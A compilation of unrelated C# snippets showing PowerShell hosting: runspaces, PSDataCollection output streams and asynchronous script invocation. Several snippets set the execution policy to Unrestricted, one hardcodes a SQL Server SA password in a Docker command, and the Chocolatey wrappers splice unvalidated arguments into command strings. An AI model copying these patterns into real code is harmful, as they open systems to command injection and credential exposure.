/// <summary> /// This sample uses the PowerShell class to execute /// a script that generates the numbers from 1 to 10 with delays /// between each number. It uses the asynchronous capabilities of /// the pipeline to manage the execution of the pipeline and /// retrieve results as soon as they are available from a /// a script. /// </summary> /// <param name="args">Unused</param> /// <remarks> /// This sample demonstrates the following: /// 1. Creating instances of the PowerShell class. /// 2. Using these instances to execute a string as a PowerShell script. /// 3. Using the BeginInvoke method and the events on the PowerShell and /// output pipe classes to process script output asynchronously. /// 4. Using the PowerShell Stop() method to interrupt an executing pipeline. /// </remarks> static void Main(string[] args) { Console.WriteLine("Print the numbers from 1 to 10. Hit any key to halt processing\n"); PowerShell powershell = PowerShell.Create(); // Create a pipeline with a script that generates the numbers from 1 to 10. One // number is generated every half second. powershell.AddScript("1..10 | foreach {$_ ; start-sleep -milli 500}"); // Add the event handlers. If we didn't care about hooking the DataAdded // event, we would let BeginInvoke create the output stream for us. PSDataCollection<PSObject> output = new PSDataCollection<PSObject>(); output.DataAdded += new EventHandler<DataAddedEventArgs>(Output_DataAdded); powershell.InvocationStateChanged += new EventHandler<PSInvocationStateChangedEventArgs>(Powershell_InvocationStateChanged); IAsyncResult asyncResult = powershell.BeginInvoke<PSObject, PSObject>(null, output); // Wait for things to happen. If the user hits a key before the // pipeline has completed, then call the PowerShell Stop() method // to halt processing. Console.ReadKey(); if (powershell.InvocationStateInfo.State != PSInvocationState.Completed) { // Stop the pipeline... Console.WriteLine("\nStopping the pipeline!\n"); powershell.Stop(); // Wait for the PowerShell state change messages to be displayed... System.Threading.Thread.Sleep(500); Console.WriteLine("\nPress a key to exit"); Console.ReadKey(); } }
public ContainerParentJob(string command, string name, JobIdentifier jobId, string jobType) : base(command, name, jobId) { this._moreData = true; this._tracer = PowerShellTraceSourceFactory.GetTraceSource(); this._executionError = new PSDataCollection<ErrorRecord>(); base.PSJobTypeName = jobType; }
public PSObject Execute(string script) { using (Runspace runspace = CreateRunspace()) { runspace.Open(); using (var powerShell = System.Management.Automation.PowerShell.Create()) { powerShell.Runspace = runspace; powerShell.AddScript(script); powerShell.Streams.Error.DataAdded += OnError; powerShell.Streams.Debug.DataAdded += OnDebug; powerShell.Streams.Warning.DataAdded += OnWarning; powerShell.Streams.Progress.DataAdded += OnProgress; powerShell.Streams.Verbose.DataAdded += OnVerbose; var outputCollection = new PSDataCollection<PSObject>(); outputCollection.DataAdded += OnOutput; IAsyncResult invokeResult = powerShell.BeginInvoke<PSObject, PSObject>(null, outputCollection); powerShell.EndInvoke(invokeResult); if (_errorCount != 0) { throw new PowerShellScriptExecutionException(powerShell.Streams.Error); } return outputCollection.LastOrDefault(); } } }
public DirectExecutionActivitiesCommandRuntime(PSDataCollection<PSObject> output, ActivityImplementationContext implementationContext, Type cmdletType) { if (output != null) { if (implementationContext != null) { if (cmdletType != null) { this._output = output; this._implementationContext = implementationContext; this._cmdletType = cmdletType; return; } else { throw new ArgumentNullException("cmdletType"); } } else { throw new ArgumentNullException("implementationContext"); } } else { throw new ArgumentNullException("output"); } }
public static string ExtractErrorFromErrorRecord(this Runspace runspace, ErrorRecord record) { Pipeline pipeline = runspace.CreatePipeline("$input", false); pipeline.Commands.Add("out-string"); Collection<PSObject> result; using (PSDataCollection<object> inputCollection = new PSDataCollection<object>()) { inputCollection.Add(record); inputCollection.Complete(); result = pipeline.Invoke(inputCollection); } if (result.Count > 0) { string str = result[0].BaseObject as string; if (!string.IsNullOrEmpty(str)) { // Remove \r\n, which is added by the Out-String cmdlet. return str.Substring(0, str.Length - 2); } } return String.Empty; }
internal IAsyncResult BeginInvokePowerShell(System.Management.Automation.PowerShell command, PSDataCollection<PSObject> input, PSDataCollection<PSObject> output, PSActivityEnvironment policy, AsyncCallback callback, object state) { if (command != null) { ConnectionAsyncResult connectionAsyncResult = new ConnectionAsyncResult(state, callback, command.InstanceId); this._structuredTracer.OutOfProcessRunspaceStarted(command.ToString()); ActivityInvoker activityInvoker = new ActivityInvoker(); activityInvoker.Input = input; activityInvoker.Output = output; activityInvoker.Policy = policy; activityInvoker.PowerShell = command; activityInvoker.AsyncResult = connectionAsyncResult; ActivityInvoker activityInvoker1 = activityInvoker; connectionAsyncResult.Invoker = activityInvoker1; this._requests.Enqueue(activityInvoker1); PSOutOfProcessActivityController.PerfCountersMgr.UpdateCounterByValue(PSWorkflowPerformanceCounterSetInfo.CounterSetId, 19, (long)1, true); PSOutOfProcessActivityController.PerfCountersMgr.UpdateCounterByValue(PSWorkflowPerformanceCounterSetInfo.CounterSetId, 20, (long)1, true); this.CheckAndStartServicingThread(); return connectionAsyncResult; } else { throw new ArgumentNullException("command"); } }
/// <summary> /// Private constructor that does most of the work constructing a remote pipeline object. /// </summary> /// <param name="runspace">RemoteRunspace object</param> /// <param name="addToHistory">AddToHistory</param> /// <param name="isNested">IsNested</param> private RemotePipeline(RemoteRunspace runspace, bool addToHistory, bool isNested) : base(runspace) { _addToHistory = addToHistory; _isNested = isNested; _isSteppable = false; _runspace = runspace; _computerName = ((RemoteRunspace)_runspace).ConnectionInfo.ComputerName; _runspaceId = _runspace.InstanceId; //Initialize streams _inputCollection = new PSDataCollection<object>(); _inputCollection.ReleaseOnEnumeration = true; _inputStream = new PSDataCollectionStream<object>(Guid.Empty, _inputCollection); _outputCollection = new PSDataCollection<PSObject>(); _outputStream = new PSDataCollectionStream<PSObject>(Guid.Empty, _outputCollection); _errorCollection = new PSDataCollection<ErrorRecord>(); _errorStream = new PSDataCollectionStream<ErrorRecord>(Guid.Empty, _errorCollection); // Create object stream for method executor objects. MethodExecutorStream = new ObjectStream(); IsMethodExecutorStreamEnabled = false; SetCommandCollection(_commands); //Create event which will be signalled when pipeline execution //is completed/failed/stoped. //Note:Runspace.Close waits for all the running pipeline //to finish. This Event must be created before pipeline is //added to list of running pipelines. This avoids the race condition //where Close is called after pipeline is added to list of //running pipeline but before event is created. PipelineFinishedEvent = new ManualResetEvent(false); }
public void ExecuteScript(ScriptConfigElement e) { using (_instance = PowerShell.Create()) { _instance.AddScript(File.ReadAllText(e.PathToScript)); PSDataCollection<PSObject> outputCollection = new PSDataCollection<PSObject>(); outputCollection.DataAdded += outputCollection_DataAdded; _instance.Streams.Progress.DataAdded += Progress_DataAdded; _instance.Streams.Error.DataAdded += Error_DataAdded; _instance.Streams.Verbose.DataAdded += Verbose_DataAdded; _instance.Streams.Debug.DataAdded += Debug_DataAdded; _instance.Streams.Warning.DataAdded += Warning_DataAdded; IAsyncResult result = _instance.BeginInvoke<PSObject, PSObject>(null, outputCollection); while (result.IsCompleted == false) { Thread.Sleep(500); } foreach (PSObject o in outputCollection) { Console.WriteLine(o.GetType()); Console.WriteLine(o); } } }
internal ServerSteppablePipelineDriver(PowerShell powershell, bool noInput, Guid clientPowerShellId, Guid clientRunspacePoolId, ServerRunspacePoolDriver runspacePoolDriver, ApartmentState apartmentState, HostInfo hostInfo, System.Management.Automation.RemoteStreamOptions streamOptions, bool addToHistory, Runspace rsToUse, ServerSteppablePipelineSubscriber eventSubscriber, PSDataCollection<object> powershellInput) { this.localPowerShell = powershell; this.clientPowerShellId = clientPowerShellId; this.clientRunspacePoolId = clientRunspacePoolId; this.remoteStreamOptions = streamOptions; this.apartmentState = apartmentState; this.noInput = noInput; this.addToHistory = addToHistory; this.eventSubscriber = eventSubscriber; this.powershellInput = powershellInput; this.input = new PSDataCollection<object>(); this.inputEnumerator = this.input.GetEnumerator(); this.input.ReleaseOnEnumeration = true; this.dsHandler = runspacePoolDriver.DataStructureHandler.CreatePowerShellDataStructureHandler(clientPowerShellId, clientRunspacePoolId, this.remoteStreamOptions, null); this.remoteHost = this.dsHandler.GetHostAssociatedWithPowerShell(hostInfo, runspacePoolDriver.ServerRemoteHost); this.dsHandler.InputEndReceived += new EventHandler(this.HandleInputEndReceived); this.dsHandler.InputReceived += new EventHandler<RemoteDataEventArgs<object>>(this.HandleInputReceived); this.dsHandler.StopPowerShellReceived += new EventHandler(this.HandleStopReceived); this.dsHandler.HostResponseReceived += new EventHandler<RemoteDataEventArgs<RemoteHostResponse>>(this.HandleHostResponseReceived); this.dsHandler.OnSessionConnected += new EventHandler(this.HandleSessionConnected); if (rsToUse == null) { throw PSTraceSource.NewInvalidOperationException("RemotingErrorIdStrings", "NestedPipelineMissingRunspace", new object[0]); } this.localPowerShell.Runspace = rsToUse; eventSubscriber.SubscribeEvents(this); this.stateOfSteppablePipeline = PSInvocationState.NotStarted; }
internal PSInformationalBuffers(Guid psInstanceId) { this.psInstanceId = psInstanceId; this.progress = new PSDataCollection<ProgressRecord>(); this.verbose = new PSDataCollection<VerboseRecord>(); this.debug = new PSDataCollection<DebugRecord>(); this.warning = new PSDataCollection<WarningRecord>(); }
/// <summary> /// Starts the pipeline script async. /// </summary> public void BeginInvoke(Queue<PSObject> queue, int count) { var input = new PSDataCollection<PSObject>(count); while (--count >= 0) input.Add(queue.Dequeue()); input.Complete(); _async = _posh.BeginInvoke(input); }
internal ServerPowerShellDriver(PowerShell powershell, PowerShell extraPowerShell, bool noInput, Guid clientPowerShellId, Guid clientRunspacePoolId, ServerRunspacePoolDriver runspacePoolDriver, ApartmentState apartmentState, HostInfo hostInfo, System.Management.Automation.RemoteStreamOptions streamOptions, bool addToHistory, Runspace rsToUse) { this.clientPowerShellId = clientPowerShellId; this.clientRunspacePoolId = clientRunspacePoolId; this.remoteStreamOptions = streamOptions; this.apartmentState = apartmentState; this.localPowerShell = powershell; this.extraPowerShell = extraPowerShell; this.localPowerShellOutput = new PSDataCollection<PSObject>(); this.noInput = noInput; this.addToHistory = addToHistory; this.dsHandler = runspacePoolDriver.DataStructureHandler.CreatePowerShellDataStructureHandler(clientPowerShellId, clientRunspacePoolId, this.remoteStreamOptions, this.localPowerShell); this.remoteHost = this.dsHandler.GetHostAssociatedWithPowerShell(hostInfo, runspacePoolDriver.ServerRemoteHost); if (!noInput) { this.input = new PSDataCollection<object>(); this.input.ReleaseOnEnumeration = true; this.input.IdleEvent += new EventHandler<EventArgs>(this.HandleIdleEvent); } this.RegisterPipelineOutputEventHandlers(this.localPowerShellOutput); if (this.localPowerShell != null) { this.RegisterPowerShellEventHandlers(this.localPowerShell); this.datasent[0] = false; } if (extraPowerShell != null) { this.RegisterPowerShellEventHandlers(extraPowerShell); this.datasent[1] = false; } this.RegisterDataStructureHandlerEventHandlers(this.dsHandler); if (rsToUse != null) { this.localPowerShell.Runspace = rsToUse; if (extraPowerShell != null) { extraPowerShell.Runspace = rsToUse; } } else { this.localPowerShell.RunspacePool = runspacePoolDriver.RunspacePool; if (extraPowerShell != null) { extraPowerShell.RunspacePool = runspacePoolDriver.RunspacePool; } } }
public async Task Update(ChocolateyPackageVersion package) { using (var powershell = PowerShell.Create()) { var command = string.Format("cup {0}", package.Id); powershell.AddScript(command); powershell.Streams.Error.DataAdded += ErrorDataAdded; powershell.Streams.Warning.DataAdded += WarningDataAdded; var outputCollection = new PSDataCollection<PSObject>(); outputCollection.DataAdded += this.SendOutput; await Task.Factory.StartNew(() => powershell.Invoke(null, outputCollection, null)); } }
private async Task<PSDataCollection<ErrorRecord>> InvokePowerShellScript(Dictionary<string, string> envVars, TraceWriter traceWriter) { InitialSessionState iss = InitialSessionState.CreateDefault(); PSDataCollection<ErrorRecord> errors = new PSDataCollection<ErrorRecord>(); using (Runspace runspace = RunspaceFactory.CreateRunspace(iss)) { runspace.Open(); SetRunspaceEnvironmentVariables(runspace, envVars); RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace); runSpaceInvoker.Invoke("Set-ExecutionPolicy -Scope Process -ExecutionPolicy Unrestricted"); using ( System.Management.Automation.PowerShell powerShellInstance = System.Management.Automation.PowerShell.Create()) { powerShellInstance.Runspace = runspace; _moduleFiles = GetModuleFilePaths(_host.ScriptConfig.RootScriptPath, _functionName); if (_moduleFiles.Any()) { powerShellInstance.AddCommand("Import-Module").AddArgument(_moduleFiles); LogLoadedModules(); } _script = GetScript(_scriptFilePath); powerShellInstance.AddScript(_script, true); PSDataCollection<PSObject> outputCollection = new PSDataCollection<PSObject>(); outputCollection.DataAdded += (sender, e) => OutputCollectionDataAdded(sender, e, traceWriter); powerShellInstance.Streams.Error.DataAdded += (sender, e) => ErrorDataAdded(sender, e, traceWriter); IAsyncResult result = powerShellInstance.BeginInvoke<PSObject, PSObject>(null, outputCollection); await Task.Factory.FromAsync<PSDataCollection<PSObject>>(result, powerShellInstance.EndInvoke); foreach (ErrorRecord errorRecord in powerShellInstance.Streams.Error) { errors.Add(errorRecord); } } runspace.Close(); } return errors; }
public async Task Uninstall(ChocolateyPackageVersion package) { using (var powershell = PowerShell.Create()) { var command = string.Format( "cuninst {0} -version {1}", package.Id, package.Version); powershell.AddScript(command); var outputCollection = new PSDataCollection<PSObject>(); outputCollection.DataAdded += this.SendOutput; await Task.Factory.StartNew(() => powershell.Invoke(null, outputCollection, null)); } }
public async Task Install(ChocolateyPackageVersion package, string arguments, CancellationToken cancellationToken) { var args = string.IsNullOrEmpty(arguments) ? string.Empty : " -installArguments " + arguments; using (var powershell = PowerShell.Create()) { var command = string.Format( "cinst {0} -version {1}{2}", package.Id, package.Version, args); powershell.AddScript(command); var outputCollection = new PSDataCollection<PSObject>(); outputCollection.DataAdded += this.SendOutput; await Task.Factory.StartNew(() => powershell.Invoke(null, outputCollection, null), cancellationToken); } }
private async Task RunScript() { if (!File.Exists(Name)) { return; } if (Type.Equals("Powershell")) { using (var powerShellInstance = PowerShell.Create()) { var scriptContents = File.ReadAllText(Name); powerShellInstance.AddScript(scriptContents); // prepare a new collection to store output stream objects var outputCollection = new PSDataCollection<PSObject>(); outputCollection.DataAdded += outputCollection_DataAdded; powerShellInstance.Streams.Error.DataAdded += Error_DataAdded; // begin invoke execution on the pipeline // use this overload to specify an output stream buffer var result = powerShellInstance.BeginInvoke<PSObject, PSObject>(null, outputCollection); while (result.IsCompleted == false) { Thread.Sleep(1000); } await Console.Out.WriteLineAsync("Execution has stopped. The pipeline state: " + powerShellInstance.InvocationStateInfo.State); } } else if (Type.Equals("cmd")) { try { await RunProcessAsync(Name); } catch (Exception ex) { Console.WriteLine(ex.Message); } } }
public static void ExecuteCommand(String command, PSHost host) { Console.WriteLine("Executing command:"); string outputLine = command; int ichNewline = command.IndexOfAny("\r\n".ToCharArray()); if (ichNewline > 0) outputLine = command.Substring(0, ichNewline); Console.WriteLine(outputLine); using (Runspace space = RunspaceFactory.CreateRunspace(host)) { space.Open(); using (PowerShell ps = PowerShell.Create()) { ps.Runspace = space; ps.AddScript(command); // Create the output buffer for the results. PSDataCollection<PSObject> output = new PSDataCollection<PSObject>(); IAsyncResult async = ps.BeginInvoke(); foreach (PSObject result in ps.EndInvoke(async)) { Console.WriteLine(result.ToString()); } PSDataStreams streams = ps.Streams; if (streams.Error != null) { foreach (ErrorRecord record in streams.Error) { Console.WriteLine(GetMessageFromErrorRecord(record)); throw record.Exception; } } } } }
public string CopyNodeJSExe() { string azureCouchDBInstallFolder; azureCouchDBInstallFolder = General.Instance.GetAzureCouchDBInstallFolder(); try { if (Directory.Exists(AzureNodeJSSdkBinPath) == false) { throw new Exception("Node js not installed."); } string destination = Path.Combine(azureCouchDBInstallFolder, @"WorkerRole\Node\bin"); if (Directory.Exists(destination) == false) { Directory.CreateDirectory(destination); } string nodeExeLocation = Path.Combine(AzureNodeJSSdkBinPath, "node.exe"); using (PowerShell ps = PowerShell.Create()) { ps.AddScript(String.Format("COPY-ITEM \"{0}\" \"{1}\" ", nodeExeLocation, destination)); PSDataCollection<PSObject> output = new PSDataCollection<PSObject>(); IAsyncResult async = ps.BeginInvoke(); foreach (PSObject result in ps.EndInvoke(async)) { Console.WriteLine(result.ToString()); } } } catch { return "Error copying Node executable."; } return "Node Executable copied Successfully."; }
/// <summary> /// Workflow instance constructor. /// </summary> /// <param name="runtime"></param> /// <param name="definition">The workflow definition.</param> /// <param name="metadata">The metadata which includes parameters etc.</param> /// <param name="pipelineInput">This is input coming from pipeline, which is added to the input stream.</param> /// <param name="job"></param> internal PSWorkflowApplicationInstance( PSWorkflowRuntime runtime, PSWorkflowDefinition definition, PSWorkflowContext metadata, PSDataCollection<PSObject> pipelineInput, PSWorkflowJob job) { Tracer.WriteMessage("Creating Workflow instance."); InitializePSWorkflowApplicationInstance(runtime); this._definition = definition; this._metadatas = metadata; this._streams = new PowerShellStreams<PSObject, PSObject>(pipelineInput); RegisterHandlersForDataAdding(_streams); this._timers = new PSWorkflowTimer(this); this.creationMode = WorkflowInstanceCreationMode.Normal; _job = job; _stores = Runtime.Configuration.CreatePSWorkflowInstanceStore(this); this._remoteActivityState = new PSWorkflowRemoteActivityState(_stores); }
/// <summary> /// Begin invocation of command specified in activity /// </summary> /// <param name="command">pipeline of command to execute</param> /// <param name="input">input collection</param> /// <param name="output">output collection</param> /// <param name="policy">policy to use for the activity</param> /// <param name="callback">optional callback</param> /// <param name="state">optional caller specified state</param> /// <returns>IAsyncResult</returns> internal IAsyncResult BeginInvokePowerShell(System.Management.Automation.PowerShell command, PSDataCollection<PSObject> input, PSDataCollection<PSObject> output, PSActivityEnvironment policy, AsyncCallback callback, object state) { if (command == null) { throw new ArgumentNullException("command"); } ConnectionAsyncResult result = new ConnectionAsyncResult(state, callback, command.InstanceId); _structuredTracer.OutOfProcessRunspaceStarted(command.ToString()); ActivityInvoker invoker = new ActivityInvoker { Input = input, Output = output, Policy = policy, PowerShell = command, AsyncResult = result }; result.Invoker = invoker; _requests.Enqueue(invoker); PerfCountersMgr.UpdateCounterByValue( PSWorkflowPerformanceCounterSetInfo.CounterSetId, PSWorkflowPerformanceCounterIds.ActivityHostMgrIncomingRequestsPerSec); PerfCountersMgr.UpdateCounterByValue( PSWorkflowPerformanceCounterSetInfo.CounterSetId, PSWorkflowPerformanceCounterIds.ActivityHostMgrPendingRequestsQueueLength); CheckAndStartServicingThread(); return result; }
void ExecuteScriptBlock() { PSDataCollection<PSObject> data = new PSDataCollection<PSObject>(); data.DataAdded += (s, a) => { PSObject ps = data[a.Index]; AddDataObject(ps); }; var input = CurrentScriptBlockInput; _asyncResult = _powerShell.BeginInvoke(input, data); }
public string ExtractErrorFromErrorRecord(ErrorRecord record) { Pipeline pipeline = _runspace.CreatePipeline(command: "$input", addToHistory: false); pipeline.Commands.Add("out-string"); Collection<PSObject> result; using (var inputCollection = new PSDataCollection<object>()) { inputCollection.Add(record); inputCollection.Complete(); result = InvokeCore(pipeline, inputCollection); } if (result.Count > 0) { string str = result[0].BaseObject as string; if (!string.IsNullOrEmpty(str)) { // Remove \r\n, which is added by the Out-String cmdlet. return str.TrimEnd(new[] { '\r', '\n' }); } } return String.Empty; }
/// <summary> /// Sets up the PowerShell shell stream event handlers. /// </summary> /// <param name="shell">The PowerShell shell.</param> private static void SetupStreamEventHandlers(PowerShell shell) { Logger.Instance.WriteMethodEntry(EventIdentifier.RunPowerShellScriptSetupStreamEventHandlers); try { shell.Streams.ClearStreams(); shell.Streams.Error.DataAdded += delegate(object sender, DataAddedEventArgs e) { PSDataCollection <ErrorRecord> errorStream = (PSDataCollection <ErrorRecord>)sender; ErrorRecord record = errorStream[e.Index]; if (record == null) { return; } StringBuilder builder = new StringBuilder(); builder.AppendLine(record.ToString()); if (record.InvocationInfo != null) { builder.AppendLine(); builder.AppendLine(record.InvocationInfo.PositionMessage); } Logger.Instance.WriteError(EventIdentifier.RunPowerShellScriptSetupStreamEventHandlersErrorEvents, builder.ToString()); }; shell.Streams.Warning.DataAdded += delegate(object sender, DataAddedEventArgs e) { PSDataCollection <WarningRecord> warningStream = (PSDataCollection <WarningRecord>)sender; WarningRecord record = warningStream[e.Index]; if (record != null) { Logger.Instance.WriteWarning(EventIdentifier.RunPowerShellScriptSetupStreamEventHandlersWarningEvents, record.ToString()); } }; shell.Streams.Debug.DataAdded += delegate(object sender, DataAddedEventArgs e) { PSDataCollection <DebugRecord> debugStream = (PSDataCollection <DebugRecord>)sender; DebugRecord record = debugStream[e.Index]; if (record != null) { Logger.Instance.WriteInfo(EventIdentifier.RunPowerShellScriptSetupStreamEventHandlersDebugEvents, record.ToString()); } }; shell.Streams.Verbose.DataAdded += delegate(object sender, DataAddedEventArgs e) { PSDataCollection <VerboseRecord> versboseStream = (PSDataCollection <VerboseRecord>)sender; VerboseRecord record = versboseStream[e.Index]; if (record != null) { Logger.Instance.WriteVerbose(EventIdentifier.RunPowerShellScriptSetupStreamEventHandlersEvents, record.ToString()); } }; shell.Streams.Progress.DataAdded += delegate(object sender, DataAddedEventArgs e) { PSDataCollection <ProgressRecord> progressStream = (PSDataCollection <ProgressRecord>)sender; ProgressRecord record = progressStream[e.Index]; if (record != null) { Logger.Instance.WriteInfo(EventIdentifier.RunPowerShellScriptSetupStreamEventHandlersProgressEvents, record.ToString()); } }; } finally { Logger.Instance.WriteMethodExit(EventIdentifier.RunPowerShellScriptSetupStreamEventHandlers); } }
private void DebuggerOnDebuggerStop(object sender, DebuggerStopEventArgs args) { Debugger debugger = sender as Debugger; DebuggerResumeAction?resumeAction = null; DebuggingInBreakpoint = true; try { if ( ((ScriptingHostUserInterface)host.UI).CheckSessionCanDoInteractiveAction( nameof(DebuggerOnDebuggerStop), false)) { var output = new PSDataCollection <PSObject>(); output.DataAdded += (dSender, dArgs) => { foreach (var item in output.ReadAll()) { host.UI.WriteLine(item.ToString()); } }; var message = Message.Parse(this, "ise:breakpointhit"); //var position = args.InvocationInfo.DisplayScriptPosition; IScriptExtent position; try { position = args.InvocationInfo.GetType() .GetProperty("ScriptPosition", BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.GetProperty) .GetValue(args.InvocationInfo) as IScriptExtent; } catch (Exception) { position = args.InvocationInfo.DisplayScriptPosition; } if (position != null) { message.Arguments.Add("Line", (position.StartLineNumber - 1).ToString()); message.Arguments.Add("Column", (position.StartColumnNumber - 1).ToString()); message.Arguments.Add("EndLine", (position.EndLineNumber - 1).ToString()); message.Arguments.Add("EndColumn", (position.EndColumnNumber - 1).ToString()); } else { message.Arguments.Add("Line", (args.InvocationInfo.ScriptLineNumber - 1).ToString()); message.Arguments.Add("Column", (args.InvocationInfo.OffsetInLine - 1).ToString()); message.Arguments.Add("EndLine", (args.InvocationInfo.ScriptLineNumber).ToString()); message.Arguments.Add("EndColumn", (0).ToString()); } message.Arguments.Add("HitCount", args.Breakpoints.Count > 0 ? args.Breakpoints[0].HitCount.ToString() : "1"); SendUiMessage(message); while (resumeAction == null && !abortRequested) { if (ImmediateCommand is string commandString) { PowerShellLog.Info($"Executing a debug command in ScriptSession '{Key}'."); PowerShellLog.Debug(commandString); DebuggerCommandResults results = null; try { var psCommand = new PSCommand(); var scriptCommand = new Command(commandString, true) { MergeUnclaimedPreviousCommandResults = PipelineResultTypes.Warning }; psCommand.AddCommand(scriptCommand) .AddCommand(OutDefaultCommand); results = debugger?.ProcessCommand(psCommand, output); ImmediateResults = output; LogErrors(null, output.ToList()); } catch (Exception ex) { PowerShellLog.Error("Error while executing Debugging command.", ex); ImmediateCommand = null; host.UI.WriteErrorLine(GetExceptionString(ex, ExceptionStringFormat.Default)); } if (results?.ResumeAction != null) { resumeAction = results.ResumeAction; } ImmediateCommand = null; } else { Thread.Sleep(20); } } args.ResumeAction = resumeAction ?? DebuggerResumeAction.Continue; } } finally { DebuggingInBreakpoint = false; } }
/// <summary> /// 使用 microsoft/mssql-server-linux 建立測試用的 SQL Server. /// </summary> /// <param name="databaseIp">The database ip.</param> /// <param name="containerId">The container identifier.</param> private static void CreateSqlServerContainerOnLinux(out string databaseIp, out string containerId) { var runSpacePool = RunspaceFactory.CreateRunspacePool(1, 5); runSpacePool.Open(); using (runSpacePool) { var powerShellCommands = new List <PowerShell>(); var powerShellCommandResults = new List <IAsyncResult>(); // 1.先停止並移除之前所建立的測試資料庫 sql-server var powerShellInstance1 = PowerShell.Create(); powerShellInstance1.RunspacePool = runSpacePool; powerShellInstance1.AddScript($"docker stop {ContainerId}"); powerShellCommands.Add(powerShellInstance1); powerShellCommandResults.Add(powerShellInstance1.BeginInvoke()); // 2.使用 microsoft/sql-server-linux 建立測試資料庫 sql-server var powerShellInstance2 = PowerShell.Create(); powerShellInstance2.RunspacePool = runSpacePool; powerShellInstance2.AddScript($"docker run --rm -d -e SA_PASSWORD=1q2w3e4r5t_ -e ACCEPT_EULA=Y -ti -p {Port}:1433 microsoft/mssql-server-linux"); powerShellCommands.Add(powerShellInstance2); powerShellCommandResults.Add(powerShellInstance2.BeginInvoke()); int i = 0; string message = string.Empty; foreach (var powerShellCommand in powerShellCommands) { PSDataCollection <PSObject> results = powerShellCommand.EndInvoke(powerShellCommandResults[i]); foreach (var result in results) { if (result != null) { message = result.BaseObject.ToString(); } } if (i.Equals(1)) { ContainerId = message; } i++; } } // 3. 使用 docker logs 指令,查看在 container 的 sql-server 是否已經準備好 int retryTimes = 30; bool ready = false; for (int i = 0; i < retryTimes; i++) { var powerShellInstance = PowerShell.Create(); powerShellInstance.AddScript($"docker logs {ContainerId}"); var executeResults = powerShellInstance.Invoke(); foreach (var psObject in executeResults) { if (psObject != null) { var message = psObject.BaseObject.ToString(); if (message.Contains("The default language (LCID 0) has been set for engine and full-text services")) { ready = true; } } } if (ready.Equals(false)) { Thread.Sleep(1000); } else { Console.WriteLine($"wait {i} second"); break; } } databaseIp = $"127.0.0.1,{Port}"; containerId = string.IsNullOrWhiteSpace(ContainerId) ? "" : ContainerId; }
/// <summary> /// Set the data to the pipeline variable. /// </summary> /// <param name="context">The activity context.</param> /// <param name="variable">The variable which needs to set.</param> /// <param name="value">The value for the vriable.</param> private void SetData(ActivityContext context, Variable <PSDataCollection <PSObject> > variable, PSDataCollection <PSObject> value) { PropertyDescriptor prop = context.DataContext.GetProperties()[variable.Name]; prop.SetValue(context.DataContext, value); }
/// <summary> /// New job. /// </summary> /// <remarks> /// Keep seconds for UI-less jobs: 0 ~ hidden mode, in this case a job creates UI on errors, as it is not attended. /// Other UI-less jobs are completely owned creators. /// </remarks> internal Job(JobCommand command, object parameters, string name, bool ui, int keepSeconds) { JobCommand = command; Parameters = parameters; Name = name; KeepSeconds = keepSeconds; // create/open runspace //! *) Do not catch, if we fail, we fail and there is nothing to repair yet (not open) //! *) Use existing configuration, it is faster! Most of *-Far* cmdlets should not be used, //! but some of them can be used, e.g. Update-FarDescription; also we want to use ETS types, //! e.g. FarDescription property. if (ui) { JobUI = new JobUI(); Runspace = RunspaceFactory.CreateRunspace(new FarHost(JobUI), Runspace.DefaultRunspace.InitialSessionState); } else { //! DefaultHost is created internally. Perhaps it is reasonable to live with it, not with a custom host. Runspace = RunspaceFactory.CreateRunspace(Runspace.DefaultRunspace.InitialSessionState); } Runspace.Open(); // new shell with the command PowerShell = PowerShell.Create(); PowerShell.Runspace = Runspace; JobCommand.Add(PowerShell); // add command parameters if (parameters != null) { IDictionary namedParameters = parameters as IDictionary; IList argumentList; if (namedParameters != null) { PowerShell.AddParameters(namedParameters); } else if ((argumentList = parameters as IList) != null) { PowerShell.AddParameters(argumentList); } else { PowerShell.AddParameters(new object[] { parameters }); } } // UI: Write all output, including errors. if (JobUI != null) { PowerShell.Commands.AddCommand(A.OutHostCommand); } // Hidden: Write output to "Out-Null" to avoid memory use. else if (keepSeconds <= 0) { //! User can use his Out-Null PowerShell.AddCommand("Out-Null"); } // Output: create it once: it is cumulative else { Output = new PSDataCollection <PSObject>(); } }
public virtual PSWorkflowInstance CreatePSWorkflowInstance(PSWorkflowDefinition definition, PSWorkflowContext metadata, PSDataCollection <PSObject> pipelineInput, PSWorkflowJob job) { return(new PSWorkflowApplicationInstance(this.Runtime, definition, metadata, pipelineInput, job)); }
public void Run(string fileName) { var start = DateTime.Now; //We're gonna need to grant some permissions...just for this process try { var psInst = PowerShell.Create(); psInst.AddScript("Set-ExecutionPolicy -Scope Process -ExecutionPolicy Unrestricted"); psInst.Invoke(); psInst.AddScript(fileName); var output = new PSDataCollection <PSObject>(); psInst.Streams.Error.DataAdded += (sender, args) => { var psData = (PSDataCollection <ErrorRecord>)sender; var results = psData.ReadAll(); foreach (var result in results) { AddError(result.ToString()); } }; psInst.Streams.Warning.DataAdded += (sender, args) => { var psData = (PSDataCollection <WarningRecord>)sender; var results = psData.ReadAll(); foreach (var result in results) { AddWarning(result.ToString()); } }; psInst.Streams.Information.DataAdded += (sender, args) => { var psData = (PSDataCollection <InformationRecord>)sender; var results = psData.ReadAll(); foreach (var result in results) { AddInfo(result.ToString()); } }; psInst.Streams.Debug.DataAdded += (sender, args) => { var psData = (PSDataCollection <DebugRecord>)sender; var results = psData.ReadAll(); foreach (var result in results) { AddDebug(result.ToString()); } }; // Invoke the pipeline asynchronously. var asyncResult = psInst.BeginInvoke(); while (!asyncResult.IsCompleted) { Application.DoEvents(); Thread.Sleep(100); } TimeSpan elapsed = DateTime.Now.Subtract(start); MessageBox.Show($"Done executing in {elapsed.ToReadableString()}"); } catch (Exception ex) { MessageBox.Show($"Error Running Script: {ex.Message}", "MERP", MessageBoxButtons.OK, MessageBoxIcon.Error); } }
